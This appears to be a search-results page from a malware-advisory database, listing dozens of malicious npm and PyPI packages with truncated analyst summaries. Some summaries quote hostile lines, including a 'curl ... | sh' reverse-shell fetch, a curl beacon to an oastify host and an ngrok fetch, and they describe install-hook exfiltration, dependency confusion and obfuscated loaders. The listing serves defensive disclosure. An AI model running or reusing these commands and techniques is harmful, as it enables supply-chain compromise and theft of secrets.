11631 matches found
MAL-2026-6501 Malicious code in wellnpm (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2cce5614817c010bad6d6bd86146713b627ad235b87d9ccd341bd3d996a80119 [email protected] ships a 24MB ELF binary named launch which is the XMRig Monero miner RandomX, cn/upx2, ghostrider algorithm strings, libuv/OpenSSL...
MAL-2026-6482 Malicious code in kelly-stake (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 350ccf4a19896a23680e7478be01909de7f16057f175dc14de1d4e0bb92ad540 On npm install, scripts/install-check.cjs runs as a postinstall hook and performs a two-stage remote-code-execution flow: it fetches a JSON config fr...
MAL-2026-6466 Malicious code in gx-npm-feature-flags (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7fcad1b944d9ceb92389673398df9f471911a788fe608774a3298c69900bb1c7 [email protected] is a dependency-confusion squat max-semver 99.99.99 on a gx--prefixed name to outrank a private internal package that...
MAL-2026-6360 Malicious code in tailwind-textform-fill (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c56e75021e442e7d3b83168a30f734d2b3c5d636c558d7e6da2e159b11674bfa Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-6287 Malicious code in poly-utils (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5aab464aac47233efb564c52d5818fef783efa856f8318c61d61ef99ca0da4e The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-6275 Malicious code in @ts-apis/ts-utils (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eccf08a9ba188be941f42f0b088d51fc5b1e84802fe9bd1d1218a6b71a6e2c11 The published tarball's dist/index.js contains an obfuscated payload that runs at require time inside a setTimeout-wrapped IIFE, completely unrelated...
MAL-2026-11204 Malicious code in nano-perf (npm)
Version 2.2.0 of nano-perf declares a postinstall script that automatically launches daemon.js as a detached, unreferenced process with ignored standard streams, allowing it to survive completion of npm install. The launcher reconstructs an obfuscated Supabase endpoint from Base64 fragments and...
MAL-2026-17339 Malicious code in reactjs-risk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0e58c82916c5199ef9e73a5d70f91d120312151eb5c28090d8bbf6dbf4117543 The package's preinstall lifecycle script collects host identity metadata from the installer machine — os.hostname, the output of...
MAL-2026-17283 Malicious code in @xoxo-momo/kit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c4beaa614870c21deb99c9648ae58f4ecf9fa21c22acc1b362ac50b477cd6232 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-17252 Malicious code in @hrmony/belegerfassung-pladddform (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 615255a66c44204b03e60a165c1a9b21f95ecd351bf58c355462c159c74d1017 The package's main module index.js executes exfiltration logic at top level on import. It first sends a hello beacon via HTTP POST to the hardcoded...
MAL-2026-17199 Malicious code in scrapetools2 (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 44124d389269a5e4dc8801d3af1afeb08aee57313fcc7082570c5890e7d89233 scrapetools2 1.2.1 ships an auto-update mechanism in downloader.py that fetches tar.gz payloads from public IPFS gateways eu.orbitor.dev, dget.top,...
MAL-2026-17182 Malicious code in app-sca-info-banking (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9733b1d7500efca385ba6dc866f4ef1b04e0d1cd4ead564b9445551a2d72a51b package.json declares scripts.postinstall: node poc.js, causing poc.js to execute automatically on npm install. poc.js issues DNS dns.resolve4 and HT...
MAL-2026-17170 Malicious code in agency-test-exercise (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43eddaf152e2aa60b9f823513a2d9b11fc424a5cff4bb3c031f6823a48dc2f4e package.json declares a postinstall hook wscript.exe 4444.vbs that fires automatically on npm install. The shipped 4444.vbs contains a 660-entry base...
MAL-2026-16368 Malicious code in mathmain (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b24c3869fb4f125e9ea39f09e5cb9100458e4e2d364047150204909e56527785 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-16358 Malicious code in @uh-platform/cloud (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...
MAL-2026-16294 Malicious code in internallib_v949 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...
MAL-2026-16265 Malicious code in @kartyk-github-org/takedown-a (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware bf2fb1adf14524d97cbb2a621413f9d25b8ac020fc927b92fa8f9aff52edef70 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-16250 Malicious code in marketing-mcp (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 87216e00fe68e2de8b140f1f9ffc2db5a8e814f38030e2eb6120c9ae9e7ca3ff The package exposes an MCP tool sendpath that reads a caller-specified local file and POSTs its contents to a hardcoded...
MAL-2026-16242 Malicious code in trongappy (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 145727605bb141edc0fa9697253b211a1b0e467db2a484a2cedd163bcc6df1b7 The package exposes a single public function permprivatekey that POSTs its privatekey argument as JSON to the hardcoded URL...
MAL-2026-16241 Malicious code in rak-lab-yoav-orca-zrktd2cp5hjmo4x7 (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 486630eaee2b9eb50d03d73886a14b7249b0c28fda2cb3f6a13565c8cd38a9bb pypi package rak-lab-yoav-orca-zrktd2cp5hjmo4x7 version 9.9.9 ships a setup.py that, during pip install, reads the DEPLOYMENTTOKEN environment variab...
MAL-2026-16218 Malicious code in tol8t (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c33f4cd3c64d0ca0eb65dc5947fce3700c94ec8bea6083e63da1e6ba31321e27 package.json declares preinstall and postinstall lifecycle hooks that use wget to POST installer host identifiers to a hardcoded Discord webhook at...
MAL-2026-16145 Malicious code in concierge-sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4de458111994244a0a590117185f9e345ff27043c129d4ea24fcb3be5f98f67b The package's declared postinstall script executes exfilv2.js at npm install time. That script harvests the full process environment, current working...
MAL-2026-16157 Malicious code in @merazmz/project-tracker (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3c3ed01b550c0abf9d9ab2297215b49b5a3b73dbce21cf0ff2f2b476341c57fd Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-16143 Malicious code in chroma-client (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f0c415e6cd4e653006225dd54672dd79ef076166a2015fa33bbf8f10b789af55 The distribution installs a.pth file that Python auto-executes at interpreter startup on every process using the environment. The.pth file's executab...
MAL-2026-16070 Malicious code in @fyxzpediaa/baileys (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0747ec3c1ce519798cac2e89f8ec1e1532d428355a13929f0176a11d77a2b175 This fork of Baileys injects a covert remote-directed action into the WhatsApp socket. On every WebSocket connection, socketConnect reconstructs a UR...
MAL-2026-16069 Malicious code in reactlogo-load (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0f9d76fcf9f229c0a11508004a2be764133c6195530c4d56563eb28c358ab5f The package presents itself as a logo/color utility but its exported loadLogo function extracts a URL from LSB-encoded bits of a PNG, fetches the...
MAL-2026-15923 Malicious code in line-through (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f080fb3d5e59c5c950dd4dd0c2eb1841cdc2943e1543bd7803f7ca27d1756e60 The package's package.json preinstall hook runs vishu.js, which at npm install time collects the installer's public IP via api.ipify.org, OS hostname...
MAL-2026-15875 Malicious code in btree-lru-cache (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6842cca5e4f00ee191865c33d73bef23be7df2e06f8157394532bb26d9749a42 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15891 Malicious code in ordered-kv-index (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55d622b138793a2b659f171c3420c5c66df969939d4e3be8c7d4099e4f4fd48f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15822 Malicious code in @stellarshift/chain-metadata (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6 The package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in endpoint-registry.json...
MAL-2026-15824 Malicious code in @stellarshift/token-units (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211 Package advertises BigInt token-unit conversion helpers parseUnits/formatUnits but declares a postinstall hook scripts/postinstall.js that invokes...
MAL-2026-15636 Malicious code in tailwindcss-forms-style (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8948b9d83b1d0eb952b8364b7a15d32efb78d6bed43956bc67a42e151dcfc7a2 Package typosquats @tailwindcss/forms. On require'tailwindcss-forms-style', src/index.js runs evalatob... on a base64 blob appended after...
MAL-2026-15644 Malicious code in @pipi596888/ccursor (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c50ec8f5306971a2465653457f2ef36e6dbf14a666d9d8abff92af034fe5cef The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15602 Malicious code in redis-cookie-server (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 01c94026a508b2ada8c891551c8ccd622f86c2ba2e7b6a7c181fc3eb538e2f1f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15601 Malicious code in eslint-prettier-js (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 657c75af75154da75ac5073b9dcea65c04bdb3f493f3a72d79f1847df90bf449 The package's postinstall hook runs index.cjs's onInstall, which performs await fetch"https://2939e69fc408.ngrok-free.app/stats" and passes the...
MAL-2026-15574 Malicious code in gclassroom (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 354356e7fb630f0274c0194e95a717249115562962b161aea98b51a79dfae70f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15573 Malicious code in grafeno-webhook (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36 The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerate...
MAL-2026-15555 Malicious code in js-array-tokens (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3d54ea75aacb3eed3e1f1739093eb9b0092203fafca42d590bce038530056023 On module load, index.js reconstructs a URL from a char-code array that decodes to https://access-token-delta.vercel.app/, fetches a JSON response, a...
MAL-2026-15544 Malicious code in sentrykit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7070cc1752fa75b405bdd0617a934d29519df28fdd0d069c0d4b5f7adaf44f55 package.json declares a self-referential dependency where the key sentrykit maps to the bare HTTPS URL https://repo.securityctrl.com/sentrykit instea...
MAL-2026-15545 Malicious code in ux-metrics-client-interaction-subscriber (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6066e87b7b0822678d3514839bc7eba18d46ff1d034c12ea169f4c3513df132b package.json line 11 declares a dependency whose key equals the package's own name ux-metrics-client-interaction-subscriber and whose value is a bare...
MAL-2026-14950 Malicious code in 3layerdipstackunyzh (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3581c70c9fbfb2a6466795dbd9f19b0ae0e757a4289f4b031d1fcaa931340155 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-14732 Malicious code in 3layerdipstackdwrofj (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d850c623764118e9980643adc2088a3f9192e538b59c5656f80613466e1218de The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-14935 Malicious code in 3layerdipstackttd2o (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 05f539ccc6a611c927ad4d2c56f34a3e008ea454c812f4e10352f6cd850fab7c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-14697 Malicious code in 3layerdipstackbn8wg (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 35741d9482c4456cf11525450ddedbf61b937203e56bc4593d1d721b419d6d15 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-14891 Malicious code in 3layerdipstackqjq77e (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f320682123c83343a81c91e396664d2bd5a949a41ce07bffc822f83502648979 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15052 Malicious code in classlink-c78zjnbn (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 78a0fb0dc36efc0ab7cff57d3680ce104a4b486f50ac835d83b6b683b50762c7 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-15118 Malicious code in classlink-oizqqihf (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware fe78905343bca0cea45063e1c067852ec5227ff8f113421033fb60efde82d853 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-15018 Malicious code in classlink-321ouwqc (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 9b5b75510dbe2e38496114aeea8322c7194e30b2cc4105424dd9653de2e00c38 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-15344 Malicious code in secure-test-browser-fndndxw5 (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3a6a223d9f1a80f9abeeabc995ebc539d59a16f9596264ce0ac203f279ad78e7 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-15281 Malicious code in secure-test-browser-3nr8zugm (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 51128651ff9e88d978b2d283136576a5c7b2864364963fdc2ada1a3d284da089 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...